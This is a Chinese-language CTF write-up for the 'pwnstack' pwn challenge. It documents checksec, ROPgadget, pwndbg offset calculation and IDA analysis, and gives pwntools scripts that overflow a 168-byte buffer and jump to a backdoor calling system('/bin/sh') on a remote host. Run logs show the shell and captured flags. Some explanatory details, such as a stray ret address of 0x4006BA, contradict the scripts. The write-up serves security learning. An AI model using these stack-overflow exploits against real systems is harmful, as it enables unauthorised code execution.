【CTF-PWN】【攻防世界题目pwnstack】python攻击脚本ret(checksec、pwngdb、IDA)(含“/bin/sh“)
题目
练习网址:
https://adworld.xctf.org.cn/challenges/list
题目场景:
nc 223.112.5.141 57335
checksec
┌──(kali㉿kali)-[~/Desktop]
└─$ checksec --file=pwn2
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 76 Symbols No 0 1 pwn2
ROPgadget
┌──(kali㉿kali)-[~/Desktop]
└─$ ROPgadget --binary pwn2 --only "pop|ret"
Gadgets information
============================================================
0x000000000040080c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040080e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400810 : pop r14 ; pop r15 ; ret
0x0000000000400812 : pop r15 ; ret
0x000000000040080b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040080f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400620 : pop rbp ; ret
0x0000000000400813 : pop rdi ; ret
0x0000000000400811 : pop rsi ; pop r15 ; ret
0x000000000040080d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400549 : retUnique gadgets found: 11
使用了ROPgadget工具来查找可用的gadget,但最终的漏洞利用并没有使用ROP(Return-Oriented Programming)技术,而是直接跳转到了后门函数
backdoor
的地址(0x400762)。这是因为题目中已经存在一个直接调用system("/bin/sh")
的函数,因此不需要构造ROP链。
pwngdb计算偏差
┌──(kali㉿kali)-[~/Desktop]
└─$ chmod +x pwn2
使用 cyclic(300) 创建300字节的测试字符串:
python3 -c "from pwn import *; print(cyclic(300))" > pattern.txt
运行程序并传入测试模式:
┌──(kali㉿kali)-[~/Desktop]
└─$ pwndbg pwn2
Reading symbols from pwn2...
(No debugging symbols found in pwn2)
pwndbg: loaded 190 pwndbg commands. Type pwndbg [filter] for a list.
pwndbg: created 13 GDB functions (can be used with print/break). Type help function to see them.
------- tip of the day (disable with set show-tips off) -------
If you have debugging symbols the info args command shows current frame's function arguments (use up and down to switch between frames)
pwndbg> run < pattern.txt
Starting program: /home/kali/Desktop/pwn2 < pattern.txt
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
this is pwn1,can you do that??Program received signal SIGSEGV, Segmentation fault.
0x0000000000400761 in vuln ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────RAX 0RBX 0x7fffffffdd98 —▸ 0x7fffffffe122 ◂— '/home/kali/Desktop/pwn2'RCX 0x7ffff7e3c5f5 (_IO_file_write+37) ◂— test rax, raxRDX 0xb1RDI 0RSI 0x7fffffffdbd0 ◂— "b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaa"R8 0R9 0R10 0R11 0x202R12 0R13 0x7fffffffdda8 —▸ 0x7fffffffe13a ◂— 0x5245545f5353454c ('LESS_TER')R14 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe310 ◂— 0R15 0RBP 0x6171626161706261 ('abpaabqa')RSP 0x7fffffffdc78 ◂— 'abraabsaa'RIP 0x400761 (vuln+70) ◂— ret
────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────► 0x400761 <vuln+70> ret <0x6173626161726261>↓──────────────────────────────────[ STACK ]──────────────────────────────────
00:0000│ rsp 0x7fffffffdc78 ◂— 'abraabsaa'
01:0008│ 0x7fffffffdc80 ◂— 0x61 /* 'a' */
02:0010│ 0x7fffffffdc88 —▸ 0x7ffff7ddaca8 (__libc_start_call_main+120) ◂— mov edi, eax
03:0018│ 0x7fffffffdc90 ◂— 0
04:0020│ 0x7fffffffdc98 —▸ 0x400778 (main) ◂— push rbp
05:0028│ 0x7fffffffdca0 ◂— 0x100000000
06:0030│ 0x7fffffffdca8 —▸ 0x7fffffffdd98 —▸ 0x7fffffffe122 ◂— '/home/kali/Desktop/pwn2'
07:0038│ 0x7fffffffdcb0 —▸ 0x7fffffffdd98 —▸ 0x7fffffffe122 ◂— '/home/kali/Desktop/pwn2'
────────────────────────────────[ BACKTRACE ]────────────────────────────────► 0 0x400761 vuln+701 0x6173626161726261 None2 0x61 None3 0x7ffff7ddaca8 __libc_start_call_main+1204 0x7ffff7ddad65 __libc_start_main+1335 0x4005e9 _start+41
─────────────────────────────────────────────────────────────────────────────
pwndbg>
- 程序运行后触发了SIGSEGV(段错误),这是因为返回地址被我们的循环模式字符串覆盖,导致程序尝试执行非法地址。查看调试信息,可以看到RIP(指令指针寄存器,存储下一条要执行的指令地址)的值为0x400761,RBP(基址指针寄存器,用于标识栈帧底部)的值为0x6171626161706261(对应循环模式字符串中的字符序列)。
计算偏移量
缓冲区起始地址RSI: 0x7fffffffdbd0
返回地址位置RSP: 0x7fffffffdc78
偏移量 = 0x7fffffffdc78 - 0x7fffffffdbd0 = 168
IDA分析
; Attributes: bp-based frame; int backdoor()
public backdoor
backdoor proc near
; __unwind {
push rbp
mov rbp, rsp
mov edi, offset command ; "/bin/sh"
mov eax, 0
call _system
nop
pop rbp
retn
; } // starts at 400762
backdoor endp
.text:0000000000400762
.text:0000000000400762 ; =============== S U B R O U T I N E =======================================
.text:0000000000400762
.text:0000000000400762 ; Attributes: bp-based frame
.text:0000000000400762
.text:0000000000400762 ; int backdoor()
.text:0000000000400762 public backdoor
.text:0000000000400762 backdoor proc near
.text:0000000000400762 ; __unwind {
.text:0000000000400762 push rbp
.text:0000000000400763 mov rbp, rsp
.text:0000000000400766 mov edi, offset command ; "/bin/sh"
.text:000000000040076B mov eax, 0
.text:0000000000400770 call _system
.text:0000000000400775 nop
.text:0000000000400776 pop rbp
.text:0000000000400777 retn
.text:0000000000400777 ; } // starts at 400762
.text:0000000000400777 backdoor endp
.text:0000000000400777
- 0x400762 是 backdoor() 函数入口地址
- 函数包含 system(“/bin/sh”) 系统调用
- ret指令地址:0x0400777
- 内存布局示意图:
+---------------------+
| 缓冲区(168字节) | # b'A'*168
+---------------------+
| 保存的RBP(8字节) | # 被覆盖
+---------------------+
| 返回地址(8字节) | # 0x400762
+---------------------+
编写python攻击脚本
方法一
from pwn import *# 设置日志级别为调试模式,便于追踪漏洞利用过程
context.log_level = 'debug'# 目标服务器配置
IP = "223.112.5.141"
PORT = 57335# 连接到远程服务器
io = remote(IP, PORT)# 计算缓冲区溢出所需的填充字节数
PAYLOAD_BUFFER = b'A' * 168 # 168字节填充,覆盖到返回地址# 获取程序中后门函数的地址(用于直接执行系统命令)
BACKDOOR_ADDR = p64(0x400762) # 后门函数地址# 执行漏洞利用:发送填充数据+后门函数地址,覆盖返回地址
io.recv() # 接收服务器的初始消息
io.sendline(PAYLOAD_BUFFER + BACKDOOR_ADDR) # 发送构造的利用载荷# 切换到交互式模式,获取shell
io.interactive()
方法二
from pwn import *# 设置日志级别为调试模式
context.log_level = 'debug'
context(arch='amd64', os='linux') # 显式设置架构和系统# 目标服务器配置
IP = "223.112.5.141"
PORT = 57335# 连接到远程服务器
io = remote(IP, PORT)# 计算填充长度(需根据实际偏移调整)
offset = 168 # 从168减少8字节(用于ret gadget)
ret_gadget = 0x400777 # 需替换为实际的ret指令地址(从程序获取)
backend_addr = 0x400762 # 后门函数地址# 构建payload(添加栈对齐ret指令)
payload = (b'A' * offset + # 填充缓冲区(调整后的长度)p64(ret_gadget) + # 栈对齐的ret指令p64(backend_addr) # 跳转到后门函数
)# 执行漏洞利用
io.recv() # 接收初始消息
io.sendline(payload) # 发送构造的payload# 切换到交互式模式
io.interactive()
两个方法合并的写法
from pwn import *context(log_level='debug', arch='amd64', os='linux')
io = remote("223.112.5.141", 59107)# 根据目标函数决定是否对齐
if True: # 根据0x400762的汇编确定payload = b'A'*168 + p64(0x400777) + p64(0x400762) # 添加ret对齐
else:payload = b'A'*168 + p64(0x400762) # 直接跳转io.recv()
io.sendline(payload)
io.interactive()
代码解析
解释 b'A'*168 + p64(0x400777) + p64(0x400762)
这个 payload 由三部分组成,作用是精确控制程序执行流并解决栈对齐问题:
payload = b'A'*168 + p64(0x400777) + p64(0x400762)
1. b'A'*168
- 作用:填充缓冲区直至覆盖返回地址
- 原理:
- 程序存在缓冲区溢出漏洞
- 168 字节是精确计算的偏移量(从缓冲区起始到返回地址的距离)
- 用
A
(0x41) 填充不会改变程序行为,仅用于占位
2. p64(0x400777)
- 地址来源:后门函数末尾的
ret
指令地址.text:0000000000400776 pop rbp .text:0000000000400777 retn ; <- 这个指令地址
- 作用:栈对齐的跳板(trampoline)
- 关键原理:
- 在 x64 架构中,调用
system
等函数时要求栈指针 (RSP) 16 字节对齐 - 该
ret
指令等效于pop RIP
,会使栈指针增加 8 字节 - 通过这个额外跳转,调整栈指针使其满足对齐要求
- 在 x64 架构中,调用
3. p64(0x400762)
- 地址来源:后门函数起始地址
.text:0000000000400762 backdoor proc near
- 作用:跳转到后门函数执行 shell
- 函数功能:
- 设置参数:
mov edi, offset command
(指向 “/bin/sh”) - 调用系统命令:
call _system
- 设置参数:
执行流程详解
当 payload 触发漏洞后,程序执行流变化:
-
覆盖返回地址:
- 原函数返回时,从栈顶弹出
0x400777
到 RIP - 处理器跳转到
ret
指令处 (0x400777)
- 原函数返回时,从栈顶弹出
-
执行对齐跳板:
0x400777: ret ; 从栈中弹出下个地址到RIP
- 弹出
0x400762
到 RIP (RSP += 8) - 关键效果:RSP 增加 8 字节,为后续对齐做准备
- 弹出
-
进入后门函数:
0x400762: push rbp ; RSP -= 8 (现在对齐16字节边界) 0x400763: mov rbp, rsp 0x400766: mov edi, offset command ; "/bin/sh" 0x400770: call _system ; 此时RSP满足16字节对齐要求!
为什么需要栈对齐?
- 当执行
call _system
时:- 如果 RSP 不是 16 字节对齐的(即 RSP % 16 ≠ 0)
system
内部使用的 SSE 指令会导致段错误 (Segmentation Fault)
- 对齐过程数学证明:
初始RSP状态: RSP % 16 = 8 (常见情况) 执行ret后: RSP += 8 → RSP % 16 = 0 执行push rbp后: RSP -= 8 → RSP % 16 = 8 (但此时尚未调用system) 调用system时: call指令自动push返回地址 → RSP -= 8 → RSP % 16 = 0!
对比直接跳转
若直接跳转(无对齐跳板):
payload = b'A'*168 + p64(0x400762) # 缺少对齐
- 执行流程:
0x400762: push rbp ; RSP -= 8 → 可能使 RSP % 16 = 0 0x400770: call system # 调用时 push 返回地址 → RSP -= 8 → RSP % 16 = 8 → 崩溃!
- 50% 概率崩溃(取决于初始栈状态)
为什么"不对齐有时也能成功"?
原因在于函数入口点的指令差异,分两种情况:
情况1:标准函数序言(需要对齐)
; 标准函数开头(0x4006A8示例)
push rbp ; RSP -= 8
mov rbp, rsp ; 建立栈帧
- 若直接跳转到此类函数:
- 执行
push rbp
后 RSP 不再是16的倍数 - 后续调用system()会因
movaps
指令崩溃(需16字节对齐)
情况2:优化过的入口(可能不需要对齐)
; 可能的0x400762结构(无栈帧建立)
lea rdi, [bin_sh] ; 直接准备参数
call system ; 直接调用
ret
- 若函数:
- 没有
push rbp
等修改RSP的操作 - 没有使用SSE指令(如movaps)
- 则即使栈未对齐也能正常工作
地址差异的影响
当添加ret指令时,payload结构变化:
原始方案:
[168个'A][0x400762] # RSP直接指向0x400762添加ret方案:
[168个'A][0x4006BA][0x400762]
执行流程差异:
原始方案:
1. 函数返回 → 跳转到0x400762
2. 执行0x400762处的代码添加ret方案:
1. 函数返回 → 跳转到0x4006BA (ret指令)
2. 执行ret → RSP += 8
3. 跳转到0x400762
4. 执行0x400762处的代码
关键区别:在进入0x400762前,RSP额外移动了8字节,确保后续push rbp
等操作不会破坏对齐要求。
实践建议
- 检查目标函数开头:
objdump -d ./binary | grep -A 5 '400762:'
- 如果有
push rbp
→ 必须加ret - 如果直接是
lea
/call
→ 可能不加
- 通用安全方案:
# 总是添加ret确保对齐
payload = b'A'*168 + p64(ret_addr) + p64(target_addr)
即使目标函数不需要对齐,额外ret通常也不会破坏功能(只是多执行1条指令)
- 调试技巧:
gdb.attach(p, 'break *0x400762\nc') # 在目标地址断点
p.sendline(payload)
检查崩溃时RSP值:RSP & 0xF == 0
表示对齐成功
总结
这个 payload 设计精妙地解决了栈对齐问题:
- 缓冲区填充(168 * ‘A’)→ 控制程序流
ret
跳板(0x400777)→ 调整栈指针 +8- 后门函数(0x400762)→ 执行
system("/bin/sh")
通过添加额外的 ret
指令,确保在调用 system
时满足 x64 架构的 16 字节栈对齐要求,显著提高漏洞利用的可靠性。
运行结果
方法一
┌──(kali㉿kali)-[~/Desktop]
└─$ python 1.py
[+] Opening connection to 223.112.5.141 on port 57335: Done
[DEBUG] Received 0x1e bytes:b'this is pwn1,can you do that??'
[DEBUG] Sent 0xb1 bytes:00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│*000000a0 41 41 41 41 41 41 41 41 62 07 40 00 00 00 00 00 │AAAA│AAAA│b·@·│····│000000b0 0a │·│000000b1
[*] Switching to interactive mode
[DEBUG] Received 0x1 bytes:b'\n'$ ls
[DEBUG] Sent 0x3 bytes:b'ls\n'
[DEBUG] Received 0x22 bytes:b'bin\n'b'dev\n'b'flag\n'b'lib\n'b'lib32\n'b'lib64\n'b'pwn2\n'
bin
dev
flag
lib
lib32
lib64
pwn2
$ cat flag
[DEBUG] Sent 0x9 bytes:b'cat flag\n'
[DEBUG] Received 0x2d bytes:b'cyberpeace{f854d5e9a9387fd57f50529046ce6988}\n'
cyberpeace{f854d5e9a9387fd57f50529046ce6988}
$
方法二
┌──(kali㉿kali)-[~/Desktop]
└─$ python 1.py
[+] Opening connection to 223.112.5.141 on port 59107: Done
[DEBUG] Received 0x1e bytes:b'this is pwn1,can you do that??'
[DEBUG] Sent 0xb9 bytes:00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│*000000a0 41 41 41 41 41 41 41 41 77 07 40 00 00 00 00 00 │AAAA│AAAA│w·@·│····│000000b0 62 07 40 00 00 00 00 00 0a │b·@·│····│·│000000b9
[*] Switching to interactive mode
[DEBUG] Received 0x1 bytes:b'\n'[DEBUG] Received 0x1a bytes:00000000 2f 62 69 6e 2f 73 68 3a 20 31 3a 20 07 40 3a 20 │/bin│/sh:│ 1: │·@: │00000010 6e 6f 74 20 66 6f 75 6e 64 0a │not │foun│d·│0000001a
/bin/sh: 1: \x07@: not found
$ ls
[DEBUG] Sent 0x3 bytes:b'ls\n'
[DEBUG] Received 0x22 bytes:b'bin\n'b'dev\n'b'flag\n'b'lib\n'b'lib32\n'b'lib64\n'b'pwn2\n'
bin
dev
flag
lib
lib32
lib64
pwn2
$ cat flag
[DEBUG] Sent 0x9 bytes:b'cat flag\n'
[DEBUG] Received 0x2d bytes:b'cyberpeace{5fb7f07a8ebb8e6de6bdd550477c6765}\n'
cyberpeace{5fb7f07a8ebb8e6de6bdd550477c6765}
$
因实验环境刚好到期,端口改了一下,不影响。